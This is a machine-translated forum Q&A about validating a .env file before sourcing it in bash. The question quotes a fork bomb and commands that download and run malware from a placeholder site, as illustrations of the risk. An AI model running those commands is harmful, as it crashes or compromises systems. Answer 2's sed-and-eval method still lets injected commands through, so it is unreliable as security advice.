我有以下脚本:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
source $ENV_FILE
正如您所看到的,脚本的用户提供了一个.env
必须包含环境变量的文件。包含包含环境变量的文件$ENV_FILE
的路径。.env
对于我的脚本,.env
文件需要包含密钥对值,例如:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
但在上面的代码中,仅仅source
为环境变量提供一个随机文本文件似乎是一个坏主意。
例如,如果 .env 文件是:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
:(){ :|: & };:
或者如果它包含类似的内容:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware
如您所见,该source
命令只是将 .env 文件作为 bash 脚本加载。因此,它可能包含超出预期环境变量分配的恶意代码。
那么我如何确保该文件只包含KEY=VALUE
对呢?
答案1
清理输入的一种方法是:
#!/usr/bin/env bash
### Your previous code here ###
env_file=$1
if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
or die "Suspicious line $_"' "$env_file"
then
msg="suspicious source file detected from $env_file"
logger -t $0 "$msg"
mail -s "$0 $msg" [email protected] < "$env_file"
exit 1
else
. "$env_file"
fi
然后它只允许以下变化:
key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...
正则表达式匹配如下:
节点 | 解释 |
---|---|
^ |
字符串的开头 |
\w+ |
单词字符(az、AZ、0-9、_)(1 次或多次(匹配尽可能多的数量)) |
= |
= |
[\047\042\w\s\.-]+ |
任何字符:'\047'、'\042'、单词字符(az、AZ、0-9、_)、空格(\n、\r、\t、\f 和 " ")、'.' , '-'(1 次或多次(匹配尽可能多的数量)) |
\s* |
空格(\n、\r、\t、\f 和 " ")(0 次或多次(匹配尽可能多的数量)) |
$ |
在可选的 \n 之前和字符串末尾 |
| |
或者 |
^ |
字符串的开头 |
\s* |
空格(\n、\r、\t、\f 和 " ")(0 次或多次(匹配尽可能多的数量)) |
$ |
在可选的 \n 之前和字符串末尾 |
答案2
在我看来,更好的方法是: https://askubuntu.com/a/886884
我们使用典型的 sed 和 eval 来提供环境变量:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT
如果不支持 eval 则:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane
source $ENV_FILE.sane